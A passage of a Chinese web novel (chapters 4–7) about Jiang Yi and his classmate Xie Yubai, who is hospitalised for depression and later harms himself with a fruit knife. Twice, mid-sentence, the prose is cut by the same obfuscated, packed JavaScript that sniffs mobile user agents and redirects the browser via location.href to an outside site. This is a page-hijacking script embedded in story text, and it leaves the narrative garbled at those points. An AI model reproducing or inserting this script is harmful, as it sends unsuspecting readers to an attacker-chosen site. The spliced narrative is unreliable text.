“我给他打电话,不用勉强。” “别打。”江逸站在床边,握住他的手,“我半推半就吧,别给老师添麻烦,刚月考完,他忙着判卷。” “江逸,没人可以勉强你做事。”谢逾白语气笃定地说。 “也不算太麻烦。”江逸坐在椅子上,打量他,气色比昨天好了一些,“你感觉怎么样?好点了吗?” “没什么感觉。” “物理竞赛你感兴趣吗?” “不感兴趣。” “你一个大学霸,每天脑子里不想正事,只想着谈恋爱是不是?” 谢逾白:“我没那么想。” 江逸托着椅子往前,坐在他对面,苦口婆心,“听说华大食堂可好吃了,你错过数学竞赛,不应该错过物理竞赛,你去试试,万一保送了,多牛逼。” “你认为我去了华大,有价值?” “什么叫有价值,光宗耀祖,将来毕业了,我有个华大同学,出去吹嘘多威风。”江逸说话的时候,眼眸神采奕奕,唇角卷着,一副活灵活现的样子。 谢逾白的视线全程跟着他,脸上是不加掩饰的迷恋,“既然如此,我去试试。” “你说什么?” “物理竞赛,我试一试。” 江逸没想到这么简单说服了 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江逸笑容僵住,神情变得古怪,“那个啊,是这么个原因,让我想想。” 谢逾白饶有兴致地看着他,模样好像在说,我在等你编。 江逸想好了,“任老师,他怕我下午请假,耽误学习,特意嘱咐我带个卷子过来做。” 谢逾白转身收拾下不远处的桌子,桌面挺宽,坐两个人挺轻松,他把卷子递过来,“你现在要去做吗?” “等一会儿吧。” “晚上8点你是不是要赶到酒吧上班,你可能现在要开始做了,毕竟里面的错题不少,改题也需要时间。” “谢逾白!”江逸恼火,“你怎么知道我错题不少!顺嘴胡说。” “我刚刚扫了两眼,需要我把错题给你画出来吗?” “你怎么不说直接帮我写了?” 谢逾白语气正经,“我帮你写有什么用,你学不到什么,现在软件这么发达,答案一扫就出来了,比我好用。” 江逸磨着后槽牙,“那你能有什么用?我大老远来了,你能干点什么?” 谢逾白似乎在思考这个问题,反问,“你想我有什么用?” 江逸手指交叉,指节掰得嘎吱作响,“让我出个气,打你一顿怎么样,上次拎你脖领子挺爽的,再让我爽一把?” 他的眼眸明亮,磨着牙齿,一副恶狠狠的模样,一点点靠近。 谢逾白自下而上看他,“做什么会让你爽?” “揍你。” “来。” 江逸手掌卡住他的脖子,他的脖颈修长,手指掐上去薄薄的皮肤很有韧性,“以前我怎么没发现,你揍起来这么爽?” 他另一只手轻拍谢逾白的侧脸,触感出乎意料的滑嫩,“你这张嘴厉害,脸这么软,嘴就不能也软点?” 江逸的呼吸漫过来,谢逾白的脑子有点断条,他漆黑漩涡似的眼瞳看着江逸,眼神有点深。 江逸微微一愣,“你什么意思,不服气?” “我只是不明白,哪句话惹你不高兴。” “你哪句话都惹我不开心了,哪有直接说我卷子错误多的,我多没面子。” 谢逾白眉心锁着,“实话实说而已,不然我应该怎么说?” “如果是我,肯定委婉地说,例如:江逸,你做对很多题,好厉害,有几道可能需要改一下,但瑕不掩瑜,以后肯定会进步的。” 谢逾白诧异:“委婉要这么啰嗦?要颠倒是非?” 江逸不爱听他说话,两根手指捏住他的嘴唇,“闭嘴吧你。” 谢逾白唇色偏淡,薄而清晰的唇线,轮廓很漂亮,触感十分柔软,捏住了他的唇,果然他没办法说话了。 他浓黑的眼睫动了动,眼神往左下撇,手指按在床上,清晰的喉结滑动着,异常沉静。 江逸捏着他的两片薄唇,往外揪了一下,“你下次再敢讽刺我,我就封住你的嘴。” 谢逾白托着他的手腕,一个用力,把自己的嘴唇解救出来,“出完气了?” “你有点奇怪。”江逸发现他怎么没那么暴躁了,以前他这么上手,谢逾白非要把他掀翻不可。 “哪里奇怪?” “生病以后,你好说话了一些,以前我动手,你肯定还手的。是我的错觉吗?” 谢逾白:“是你的错觉,我一直都这样,你对我有偏见,看见我就想发火。” “是你说话的方式,有点不尊重人。你看人的样子,低着眼睛,瞧不起人,我跟你对视的时候,你立刻移开视线。前几天,我给你擦胸口的酒液,你的表现很嫌弃我。” “我这么帅,人见人爱,我身边那么多人,哪个不喜欢我?只有你,唯恐避之不及。谢逾白,你为什么不喜欢我?” 谢逾白:“……”他无法解释。 5. 第 5 章 江逸见他沉默寡言,不想自找没趣,“东西送到了,我回去了。” 谢逾白对着桌子的方向扬了下下巴,“你的英语卷子还没写。” 江逸拿起卷子,“我去酒吧写。” 这时,一位护士端着餐盘送饭进来,谢逾白接过饭,“你吃了饭没有?” 江逸摇头。 “要不要一起吃?” 江逸一路上拎着这些水果,挺沉的,现在的确有点饿了,护士送过来两份饭,他点点头,“行吧。” 谢逾白先把饭盒放在桌子的角落,找到一条干净的毛巾,用水清洗后,将桌子擦了三遍,摆好两个饭盒,看江逸,“你不去洗手?” “去。”江逸洗好手回来,谢逾白把房间里的椅子搬好,两人坐在桌子前面,江逸的心情有些微妙,短短几天时间,他跟谢逾白已经是能安静地一起吃饭的关系了? 看在他生病的份上,可怜可怜他。 谢逾白吃饭的样子,真正让江逸见识到了偶像剧里面男主角吃饭的情节,不对,应该是女主角吃饭的样子,一双筷子尖夹起几粒饭粒,放进嘴里,缓慢地咀嚼,不知吃了多久才咽下去。 江逸看着自己面前盒饭里的米饭下去了一大半,谢逾白的饭跟没吃似的,眼里的惊讶不可言喻。 似乎察觉了他的视线,谢逾白侧头看过来,“怎么了?” “你一直这么吃饭?” 谢逾白问:“我吃饭有问题?” “跟你吃饭的人没打你?” “没有。” “你吃饭怎么跟个大姑娘似的。”江逸克制自己翻白眼的冲动,这人从头到脚写着我是精英,跟自己这个草根完全不同。 谢逾白放下筷子,双臂抱在胸前,“我本来不打算说,因为你好像不喜欢我说话的方式,但是,你这么快速的吃饭,容易消化不良,我们从吃饭开始到现在,仅仅过了八分钟,你已经吃了一半了。” “难道要我像你一样,像小鸡啄米似的?我真服你了,谢逾白,你这一身腱子肉怎么长得。” “长肌肉跟吃饭速度没有关系,跟摄入的营养成分有关系,我每天摄入足够的蛋白质。” “我刚刚那句话,不是问句!”江逸想发疯:“还有,这医院的饭菜怎么这么难吃?” 这几个菜,清炒莴笋,清炒虾仁,炒青菜,还有一个狮子头,“比学校食堂还难吃?我多吃几顿,也要抑郁了。” 听到抑郁两个字,谢逾白眼神清凌凌地看过来。 江逸察觉到自己口无遮拦,咬了下舌尖,“你为什么要待在这个破地方,你的病有这么严重?什么时候能好?” “我不想,我也不知道。”谢逾白把自己餐盒推过来,“你喜欢吃哪样菜夹走,不喜欢吃的给我。” 江逸眼神一顿,“你什么意思?我为什么要把不好吃的给你?” “我吃每样菜,味道差不多,我没有食欲。” 看着他餐盒只吃了十分之一,江逸:“我也没有食欲,谁吃这些东西能有食欲!这些菜别说酸辣甜,连咸味都没有,是我吃过最难吃的饭!” 他用力戳着狮子头,“就这道菜有点味道。” 谢逾白打开一双新的竹筷,清洗过后,把狮子头夹到他的餐盘。 江逸愣了愣,又夹回他餐盘放饭的格子里,“你和着米饭一起吃,能好吃点。” 八分钟以后,江逸吃完了。 谢逾白放下了筷子,他的餐盒吃了十分之一,狮子头一口没动。 “别人家养的鸡吃的比你多。谢逾白,你的病还想不想好了?吃这么少,什么时候才能好?” “我没有胃口。” 江逸百度过抑郁症,重度的话会伴随着食欲减退,本来他没觉得谢逾白病得那么重,现在看过去,他的侧脸有些苍白,表情厌厌的。 “你没考虑换个餐厅的饭?” “什么山珍海味也吃不下。”谢逾白不是第一次发病,每次他的食欲都很差,四年前发病的那次,他三个月瘦了三十斤。 这时,护士进来,给他扎了吊瓶,开始挂水,提醒他,“谢同学,你要多吃一点饭,这药对胃有刺激,吃得太少,会难受。” 谢逾白靠在床头,看着江逸,“你可以走了。” 江逸:“我什么时候走,不用你说。” “我不是撵你走的意思,再不走你可能会迟到。” 江逸心中莫名有点不舒服,他把谢逾白的餐盒扯过来,拿到病床旁边,筷子夹起米饭和肉沫,硬邦邦地开口,“吃。” 谢逾白右手挂着水,吃饭不方便,他黑睫垂下,眼神晦暗。 “你吃啊,我手举着酸。” “你再不走,要被扣钱了。” “不想让我迟到,你不能快点吃?咦,你怎么知道我迟到扣钱的事?”江逸想了想,“那天在小树林里,我和周靖泽说的话你听见了?” 谢逾白忽略他的话,缓缓张开嘴,吃了下去。 江逸少有的有耐心,一口一口喂他,谢逾白跟个机器人似的,配合他吃下去,吃了一半,江逸满意了,“你不想吃就别吃了,剩下的菜看着难以下咽。” 谢逾白点点头,江逸发现他的脸色有些白,“我走了,你一个人能行吗?” “我一直一个人。” “不能找个朋友陪你?” “没有。” “找个护工?” “不想。” 江逸看着吊瓶还剩不多了,“我等你这瓶挂完,换上药再走,万一医生护士又找不到,我真不明白,这家医院哪里好,是不是还挺贵的?” “一个月50万。” 江逸嘴巴张大,“抢钱吗?他们做什么了?不管你,收这么多钱。” “主要是药贵,进口的多。” 江逸发现不管他说什么,谢逾白几乎都有回应,会解答他的问题,他或许不像他想象的那么冷漠。 江逸准备离开,忽然,谢逾白胸口起伏得厉害,脸上有些冷汗,他眼神求助地看过来,“江逸,帮我拿下吊瓶,我需要去洗手间。” 江逸陪过别人挂水,想去洗手间的时候,需要有人拿着,情况紧急,他举着吊瓶,谢逾白脚步很快走进洗手间,指了指上面的挂钩,“你挂在那里。” 挂好后,谢逾白推了他后背一下,面上极力忍耐的表情,“你出去。” 江逸刚走出门,里面传来呕吐的声音,接着是哗哗的流水声,然后呕吐。 听得江逸心惊胆颤的,他没觉得谢逾白这么严重,他心里有些触动,谢逾白病了,很难受的样子。 他找到杯子,倒上矿泉水,听着卫生间里面没有声音传出来,他拉开门。 谢逾白湿哒哒的额发垂在额前,唇色淡到透明,黑漆漆的眼睛有些压抑,脸上残留着水珠,模样看上去一副要挂的样子。 江逸把水杯递过去,他接过,“谢谢,你走吧。” “你又撵我走?”江逸举起电话,跟萧哥请了假,“我不走了。你吐完快点出来,吊瓶里的药剩的 不多了。” 谢逾白脸上浮现不理解的神情,他木讷地刷牙,收拾了一下浴室,手按着胃,走了出来。 江逸把矿泉水里的水倒在杯子里,烧了热水70度左右,灌进矿泉水瓶,拿到床前,给他换了挂水的第二瓶药,把矿泉水瓶递给谢逾白。 谢逾白眼神木讷,没明白什么意思。 江逸没什么耐心跟他解释,直接上手,拉开他衣服下衣襟,把热的水瓶贴了上去。指腹蹭了下他的腹部皮肤,谢逾白眼睫颤了一下,热度刹那间弥漫开。 江逸一松手,水瓶就掉下来,他只好一直托着水瓶,指腹时不时蹭来蹭去。 谢逾白:“……”这个部位,他感到皮肤异常敏感,感到了热度,感到了痒,有点燥。 “我自己来,我能扶着。” “你就是不让我碰你,是不是?你到底嫌弃我什么?我刚洗过手了,洗了两次。” 谢逾白喉结动了动,看他略委屈的表情,“你一直一个姿势,手不会酸?” “我可以换手。”他真的换了一条胳膊,因为距离原因,江逸坐到床上,面对着他,把手搁在他腹部的水瓶上,另一只手拿着手机。 两人的距离目测只有三十厘米,谢逾白能看清他的睫毛弧度,像滑梯一样,尾端翘翘的,他皮肤白皙,锁骨附近有三个旖旎的胭脂痣。 谢逾白呼吸变得不稳,不知道是吐的还是什么原因,脑子晕眩。 他微张着唇,时不时喘气。 “你怎么了?”江逸发现他有点不对劲,刚刚纸一样发白的脸色有些薄红,“哪里不舒服?” 江逸抓起水瓶,发现他腹部皮肤红彤彤的一片,“是不是烫坏了?”他手掌抚了上去,皮肤表面有点烫,他揉了两下,想把红痕揉开,谢逾白的皮肤是健康的色泽,触感坚硬紧实。 他听到谢逾白大口喘息着,江逸抬眼看他,“疼了?我可能水温没把握好。” 谢逾白单手把被子往上拉了一点,眼睛半阖着,“没疼,不用热敷了,我胃好多了。” “你别遮着,不散热,什么时候能不红?”江逸把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305449|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的被子往下拉。 谢逾白按住他的手,瞳孔深沉,喉结快速滚动,声音微哑,“我冷。” 江逸看他脸色发红,手摸了摸他的额头,“你是不是发烧了?” 谢逾白拉开他的手,说话有些艰难,不耐烦,“你能不能别碰我了?” “你他妈的又犯毛病了?我不碰你怎么照顾你?” 谢逾白嘴唇抖动,大口呼吸,“你怎么不去上班?别在我这了,行不行?” 江逸瞪大眼睛看他,“你到底有什么毛病?” “杯子递给我。” 江逸将水杯递过来,谢逾白接过,手腕翻转,一杯水全泼在自己脸上,滴答滴答顺着他的脸颊往下流淌。 “你疯了?你在干什么?” 谢逾白眉宇湿润,话语阴冷,“你不知道我得的什么病?是精神疾病。我本来就是个疯子,你不知道?为什么要凑过来?” 他下颌的水滴进衣领,胸口凉透了。身体的火下去了,心里的火升起来了,“我脾气差,你用不着在这跟我耗着,忍受我,我不需要你的同情,做你该做的事。” 江逸不是个好脾气的,火噌的窜起来,“你找死啊?饭不吃,还给自己泼水,怕自己死的慢?” “我死了,不好吗?”谢逾白眼神深哀,凄凄艾艾的语气,“死了,就解脱了。” 他的语气一点不像开玩笑,眼里黯淡无光。 江逸气到不行,把人一把拽过来,“你能不能别一副要死的模样,全世界欠你八百万的样子,你有什么想不开?为了一个男生,在这要死要活,你非他不可?换一个行不行,我上你,行不行?你是上面的下面的?我上你,你愿不愿意?” 他的话像鞭子,抽打着谢逾白,他脸色由红转白,气得牙齿打颤,“你说什么?” 江逸嘴里说什么,已经控制不住了,看着谢逾白的样子,他恼怒来得汹涌,“你姐姐愿意花钱让我泡你,刚好我缺钱,你缺人,我搞你,怎么样?” 谢逾白咬着下唇,呼吸困难,心脏抽着,漆黑的眼瞳全是阴冷,“你再说一个字,我杀了你。” 江逸手掌包住他的下颌,拇指摩挲他的皮肤,“怎么,对我不满意?就你看不上我,谁不觉得我好?你有什么看不上我的?只要他?” 谢逾白挤出一句话,“你不是直男?为了钱,还做这事?” “有什么不能做?我看你就一副欠收拾的样,不是一箭双雕?” 谢逾白一阵剧烈的咳嗽,像要把肺咳出来似的,脸憋得通红,他头探到床边,弓着的后背在江逸眼皮子底下,一阵猛烈咳嗽。 江逸理智回归,想到自己刚刚口不择言,说了什么鬼话,抬手拍谢逾白的背,帮他顺气。 他怎么能这么气一个病人,江逸扶着他的肩膀,把人安顿躺下,“那个,我不是那个意思,刚刚的话,你当我没说。” 谢逾白眼尾瞥他,“哪句?上我那句?” 江逸顿感尴尬,“嗯,所有。” 谢逾白唇角勾着,语气嘲讽,“我没当真,你对我哪有兴趣。” “我不是道歉了?” “你没有。” 江逸眉毛抖着,“我说了收回那些话。” “那算哪门子的道歉。” “我家的道歉,就这样。谢逾白你有没有良心?我这个劳模,一个月不舍得请假的人,今晚请假在这跟你耗着,你对我什么态度?不指望你心怀感激,竟然一直撵我走,骂我。” “没人求你在这。” “行,我走。”江逸给他拔了针,按了一会儿针眼,看着他冷淡的侧脸,“我走了。” 他开门出去,脚步停在门口,听到里面传来杯子碎裂的声音,他抬腿走出去。 十分钟以后,江逸回来,开门进去。 谢逾白坐在床上,神情落寞,像没有生机的玩偶,地上杯子的碎片一堆,不知道他到底砸了几个杯子。 谢逾白瞳孔震惊,茫然地看着他。 江逸取来扫帚扫地上的碎片,走到床边,从兜里拿出刚才新买的水果刀开始削苹果。 谢逾白垂着眼睑,声音漠漠:“你回来做什么?” “你根本不想我走,不是吗?”江逸头也不抬地回,苹果上面的皮整整齐齐掉下来一整条,他把苹果递到谢逾白面前,“吃吧。” 谢逾白修长的手指接过去,垂眼看着苹果,愣愣出神。他看着有些熟悉的苹果,仿佛回到了四年前,满心惆怅。 江逸轻笑一声,“我没投毒。” 谢逾白眼睑微垂,“投了更好。” 6. 第 6 章 周靖泽中午在十一班门口等了好久,江逸没出来,他从后门进去。 最后一排,江逸趴在桌子上,阳光洒在他的发顶,发丝颜色偏浅,后颈脊骨突出。 周靖泽说不出为什么,校服穿在江逸身上,要比其他人好看很多,他身材偏瘦,记得上次体检江逸身高183,腿长长的支在外面。 他静静坐在旁边,看着江逸的手肘,皮肤整体偏白,手肘处淡淡的粉,江逸的手指在外面搭着,五指细长,指骨匀称,因为常年打球,指根有小茧子。 江逸手机震动,他迷蒙地睁开眼,胳膊发酸,晃动着僵硬的脖颈,转头一看,周靖泽淡淡地看着他,“你怎么来了?怎么不叫醒我?” “你最近很忙?我找你好几次了。”周靖泽五官俊朗,笑起来阳光十足,“你是不是瞒着我偷偷谈恋爱了?” “我跟谁?我有时间和钱吗?” “听宋越说,去酒吧看你的女孩挺多的。” 江逸不以为意,“从小到大,不是一直这样吗?我一直单着,饿了,我们去吃什么?” “食堂四楼新开了一家小炒菜,带你去尝一尝?” “快去,昨天晚上我没吃饱,早晨没吃饭,现在要饿死了。”他的左脸有一道浅浅的红印,睡觉压出来的,说话的时候,眼睛熠熠放光。 周靖泽觉得自己很幸运,陪伴他这么多年,每天只要跟他见面,说几句话,心情变得格外明朗。 因为他们来得晚,食堂没什么人,周靖泽点了四个菜,去买了两瓶雪碧,一一摆好。 江逸看着面前的四个菜,宫保鸡丁,水煮牛肉,麻辣烫,西红柿炒蛋,是他最喜欢的四道菜。 “我开动了,饿死了。”八分钟以后,江逸碗里的饭只剩下一少半,他筷子顿住,“你说,我吃饭是不是太快了?” “不算太快,怎么了?” “有人说我吃饭太快了,消化不良。” “谁敢跟你这么说话?” “谢逾白。” 周靖泽语气有丝异样,“他不是休病假了?你见过他?” “任老师让我代表全班同学去看他。” “你跟他一起吃饭了?” “嗯。”江逸眼珠转了转,“你跟他是不是有什么猫腻?” “哪有。”周靖泽面上有些尴尬,他想起告白被撞破的事。 “你还装?我知道了。别怪我说你,你太渣了,人都进医院了,你不去看看?” “我去看他?” “当然了,以前你总劝我,小姑娘跟我表白的时候,让我正经点,有耐心点,别伤害人家。你现在这么粗暴,直接不搭理了。你知不知道谢逾白是学校的栋梁之材?” 周靖泽被他说的云里雾里的,“你是不是误会什么了?或者跳过什么关键信息没告诉我?” 看他还在装,江逸的性格不喜欢绕弯子,“那天你在小树林给我银行卡,谢逾白也在,是不是?” “你知道了?” “你果然在装蒜,我知道了,谢逾白听了我们的对话,当天晚上就进医院了,你别告诉我,你不知道他喜欢你?” 周靖泽筷子上正夹起一个鱼丸,听到他语出惊人,鱼丸“啪嗒”掉在桌子上,“咕噜咕噜”滚到江逸跟前。 “阿泽,我觉得吧,现在正是高三关键的时候,谢逾白有保送的机会,虽然不能勉强你跟他怎么样,毕竟他为情所困原因在你,于情于理,你应该去探望他一下。” 周靖泽好不容易找回自己的思路,在他断断续续的表述中,基本明白了事情的梗概,他回想那天谢逾白的眼神表情,冷到了极致,江逸的说法不是空穴来风,“你怎么知道的?你说这些,你猜的还是谁告诉你的?” “他姐姐亲口告诉我的,我也跟谢逾白证实了,他没否认。” 周靖泽拧开雪碧瓶,喝了一口,雪碧的泡沫在喉咙起伏,他大概能猜到,谢逾白喜欢江逸这件事。 或许感同身受吧,他暗恋江逸两年,对他周围的人比较敏感。对江逸有意思的,不算其他班级,十一班女生七个,男生三个,其中有一个就是谢逾白。 谢逾白的表现最为隐晦,再怎么会隐藏,能压抑,喜欢一个人的眼神和表情瞒不住。他不止一次撞见过,谢逾白用黏连的,绵绵深情的眼神看江逸。 他心里涌起一种不舒服,或许因为谢逾白各方面条件很优秀,甚至有比他优越的部分,让他很有危机感。 得出结论,谢逾白进医院是因为以为他跟江逸在一起,这点就解释通了。 那么,谢逾白为什么不纠正江逸的观念,由着他误会。 原因也很简单,江逸明显没开窍,贸然被他知晓,很可能直接被拒绝,连在他身边的机会也没有,周靖泽见过江逸拒绝别人,干脆利落,不留后患。 现在的问题,跟不跟江逸挑明,谢逾白喜欢他的事,周靖泽手指抵着眉心,思索片刻,根据江逸刚刚说的话,好像对谢逾白的态度不一样,有同情和在意。 他试着开口问,“谢逾白有没有可能喜欢的是你?” “你开什么国际玩笑?” “怎么了呢?你毕竟是校草。” “你见过喜欢一个人,碰他一下,恨不得拿纸巾擦十下的人吗?” 周靖泽扑哧笑了,“有道理,不管怎么样,这件事我不想管,我最近在考雅思,忙到疯,哪有时间理这些?” “你申请哪个国家的学校了?” “英国。”周靖泽正色道,“我不想出国,我在跟家里争取。”他最近跟家里闹得鸡犬不宁的。 “你准备了这么久,为什么不想出去?” “待在你身边,我挺开心的,出去看不到你了,不能照顾你,还会担心你。” “你能不能有点出息?我是婴儿吗?还需要人照顾,别整这些酸不拉叽的倒我胃口,你该哪哪去。你说话很奇怪,上了大学,我们自然分开了,以后成家立业,各自有家庭,早晚要适应。”他说话过程中,语气太过理所当然。 周靖泽:“我不想成家,没想过那些,只想现在开心。” “在我看来,你够开心了,无忧无虑的。”江逸想着今天待缴的房租,有点头疼。 他回到家,今天二姨带着知知回来,江逸到附近菜市场买了鱼,提前炖上,焖了一锅大米饭。 江知知一见到江逸立刻扑进他的怀里,白嫩的小脸上满是笑容,“哥哥,我想你了。” 半个月没见,五岁多的小女孩长高了,扎了两个小辫子,黑葡萄似的眼睛漂亮极了,脸蛋圆滚滚的很有肉感,江逸捏了捏她的脸,“你最近在幼儿园表现怎么样?” “你得给辅导一下了,老师前两天告诉我十以内的数字她还认不全,你们兄妹两个真是,模样漂亮精致,学习太费劲。” 猝不及防被她刀了一下,江逸忍着脾气,“二姨,我自己考上的一中。” “好汉不提当年勇,你上了高中,成绩不是倒数?” 江逸:“……” 香喷喷的炖鱼刚做好,门口传来敲门声,张阿姨笑呵呵地进来。 江逸把人请进来,“张阿姨,我马上给你转房租。” “是这样的,本来你们租我的房子,有点旧,我挂网上五年了没卖出去,昨天忽然有人给价了。对方没讲价,阿姨喜欢你们,尤其是知知,可是,房子该卖也得卖。我年龄大了,不能一直留着旧房子,这东西越来越不值钱。” 江逸的心一直往下沉,面上无波无澜,“恭喜张阿姨,没事,这些年多谢你照顾,房子一卖我们就搬走。” “买家有点着急,定金已经给了,一周以内得过户交房,下个月房租你就不用给了,只是你们找新房子的时间有点紧张。” 江逸顿了顿,“我尽量配合。” 谢逾白给江逸打了个电话,“喂。” “你谁?” 谢逾白:“我。” 声音有点耳熟,平时,江逸能猜一猜,现在他哪有心情,收拾东西打包让他无比烦乱,“我哪知道你是谁!” “谢逾白。” 江逸哑火,“你怎么了?” “物理竞赛的资料好像缺了一本,有一个模块一点也没有。” “我知道了,明天我问问任老师,有需要找人给你带过去。” 谢逾白察觉他语气的不对劲,“你发生什么事了?” 江逸压抑一晚上的情绪,后背靠在窗台上,看着外面的月亮,忽然有种想倾诉的意愿,“我在收拾东西,房东的旧房子卖了,我一周以内需要搬出去。” “旧房子卖了?多旧?” 江逸:“你会不会抓重点?” “我在抓重点,回答我的问题。” “二十多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这事真奇怪,不用搬家最好了,现在租房全是年付,只有张阿姨一直月收,她的房子老旧,不容易租出去。江逸住了两年了,邻里之间关系不错,熟悉了。 张阿姨做了包子饺子,时不时会给他一盘,算是个善良的人。 一回生两回熟,他来了医院第三回,推开门,谢逾白沉静地躺在床上,脸比前几天要瘦。 他脖颈上贴了白色纱布,隐隐有黄色药膏,江逸纳闷,他脖子怎么受伤了? 既然他没醒,江逸把练习册放下,打算回去。 他走到走廊,两个小护士在聊天。 “昨晚吓死我了,602的病人挺帅的,平时看着很正常,怎么突然用刀割伤了自己?” “幸亏是一把水果刀。” “他的家属有没有脑子,给抑郁症患者房间放刀具。” “那么帅的小伙子,可别有什么意外,脖子上会不会留疤?” 602,谢逾白的房间! 江逸脑子疯了一样运转着,谢逾白苍白的脸,脖颈上的白纱布,他沉默地回到病房,四处找水果刀,不见了。 不知过了多久,谢逾白睁开眼,看到旁边坐着的人,声音沙哑:“你来了多久?” “我的水果刀呢?我要削苹果。” 谢逾白撑起身体,眼睛看过来,“不知道哪去了,你再买一把?” 江逸冷笑一声,“再给你一把,给我表演割脖子?”他腾地站起身,扳着谢逾白的肩膀,摇晃着,“你他妈要死,能不能别用我买的刀?” 谢逾白微微蹙眉,“你轻点晃我。” 江逸的长相清润俊秀,少有这么冷厉的模样,“谢逾白,你到底要怎样?” “没、要怎么样。” 江逸琉璃珠子似的瞳孔锁住他,刚才那一瞬间,他手脚冰凉,心脏快跳出去了,一阵后怕。 江逸扣住他的肩膀,死死盯着他。 谢逾白眼形狭长,双眼皮褶皱深,眼底微光流动,很有神韵的一双眼睛。 江逸反方向一推,把人摔在床上,没说一个字,大步流星离开。 谢逾白躺在床上,眼冒金星,他应该解释一下,昨晚他没想死,没来得及说出口。 7. 第 7 章 酒吧来了个明艳大美女,谢雪姚坐在江逸面前,“江同学,叫我来什么事?” 江逸开门见山,“他脖子上的伤怎么回事?” 谢雪姚脸上的笑容收敛,“你这么快就知道了?” “姐姐,那个医院,我觉得不靠谱,总是见不到医护人员,用的药物不见效。饭菜还难吃得要命。” 谢雪姚垂眸,“我知道把他扔在那里是下下之策,要不你把他领走吧?” “什么?”酒吧里吵闹,江逸有点不相信自己的耳朵,“他现在这个状态,我领走,他想不开算谁的?” “玩死了,算我的。”谢逾白割脖子的时候,谢雪姚当时吓得要死,她只不过想推动江逸接受他们的钱,又没有恶意。 谢逾白喜欢他好几年了,要说这个世上有谁能把他拽出来,只有江逸。 “三百万,给我卡号,你把他领走六个月。” 江逸看着酒壶,脑中浮现谢逾白侧颈的白纱布,心中有种莫名的冲动,“正常护工多少钱一个月?” “三万。” “那么贵?” 谢雪姚撩了撩头发,“我家雇的就是这个价格。” “行,三万一个月,我把他领走,包吃包住,尽量包他活着,如果中途他不愿意,或者我不愿意,立刻停止。” 谢雪姚从包里翻出一堆打印的资料,还有药物,“医院本来建议他明天出院,他可以服用药物代替注射。资料是医生给我的,我整理出来的,你有空的时候看一看,尤其是红色文件夹里面的。” “我明天拟定劳务合同,和免责声明,你不要有任何后顾之忧。”谢雪姚心里有数,现在回想,谢逾白昨天的举动多半是为了震慑她。 江逸只要一天没跟别人在一起,谢逾白不会想不开。她在赌,赌江逸是谢逾白唯一的药。 四年前他能把人拽出来,四年后一定也可以。 打烊之后,江逸靠在吧台,点燃一根烟。 宋越笑着,“刚才听见你跟萧哥辞职了。” “嗯,最近有点事。” “那天晚上骚扰你的老孟,道上混大的,有点势力,报警以后只拘留了三天,你小心点。” “我知道,所以我避开了。”江逸知道,在酒吧的工作不是长久之际,鱼龙混杂,好在半年里攒了点钱,一年的房租有了着落,高考以后假期很长,有更多时间打工。 前段时间他没有选择,工作时间段从晚上八点到半夜十二点,只有酒吧。 “快高考了,你集中精力是对的。”他看着江逸笨拙的抽烟动作,“你会抽吗?” “不会。” “瞎尝试什么,这玩意不是好东西。今天来找你的大美女是谁?你们聊得挺久的。” “同学的姐姐,我同学生病了,她希望我帮忙照顾一阵。” “男同学女同学?” 江逸扯着唇笑:“你见过,冲一万块的那个。” “知道了,大帅哥家里豪到不行。有人看到豪车送他来的酒吧。”宋越咬着烟嘴,“他是不是对你有点意思?” “这回你可猜错了,他看上我兄弟了,被拒绝了,正伤心欲绝,他心理有点问题。” “有钱人哪有几个正常的?你跟他交往注意点。” 江逸实在忍不了这鬼烟了,呛嗓子,真不知道这玩意有什么好的?他把烟头扔了,“我有分寸,放心。” “越子,我不明白,你喜欢过人吗?可以为了另一个人要死要活吗?” “情种?我不是。你呢?” 江逸嗤笑一声,“我也不是。” “谁是?” “少爷是。” 江逸漫不经心打开红色文件夹,看到里面的文字,眉梢挑了挑。 * 黑色迈巴赫停在巷口,谢逾白手里托着行李箱下车,街角的杂志亭,旁边的糖水铺子,奶茶店,高矮参差的老旧居民楼,跟他生活的地方像两个世界。 糖水铺子的胖阿姨,笑眯眯地跟杂志亭老板娘聊天。 “你看那个小伙子,长得多精神!” “他坐的车,好贵的吧,几百万那种。” “谁家的小少爷怎么跑这里来了。” 胖阿姨看着站在远处,略显局促的谢逾白,喊了一嗓子,“小伙子,你找谁?” 巷子的另一个方向传来懒散的声音,“二姨,找我的。” “找你的?他谁啊?” “我同学,来我家玩一段时间。”江逸走到谢逾白面前。 谢逾白修长的手指握着行李箱的拉杆,眼神飘忽地到处看,远处黑压压的楼群像乌云,压着地面。 江逸唇角卷笑,“走吧,迷路的少爷,我来接你了。” 谢逾白视线聚焦在他身上,江逸穿着简单的运动装,眉清目朗,眼尾微扬。 江逸手伸过来,要接过他手里的行李箱,谢逾白换一只手拿着,“我自己拖。” 江逸带着他左拐右拐,走了一段户外的楼梯,上到四楼,看见一个老旧的单元门,门的右上方有一块蜘蛛网。 谢逾白眼神变得奇怪,不可思议,“这房子,不会只有二十年。” “谢少爷,欢迎你来体验生活。过了我的日子,你就知道自己生活多美了。” 楼道里的地面灰扑扑的,好像几年没人打扫过。 江逸打开一扇老旧的门,房子有一百平,淡黄色的木质地板,边缘有起皮的部分,好在屋内比较整洁。 江逸撕开一双新的蓝色塑料拖鞋,有种淡淡的胶皮味道,“给你穿,我今天刚买的。” 谢逾白洁白的袜子穿进去,看上去有点滑稽。 江逸笑得开怀,“你这辈子穿过十块一双的拖鞋吗?” 谢逾白抬了下脚,尺码还算合适,如实回答,“没有。” 阳台的光线很好,老楼总层数六层,阳台养着好多多肉,生机勃勃的,有个长方形的鱼缸,里面金黄色的小鱼游来荡去。 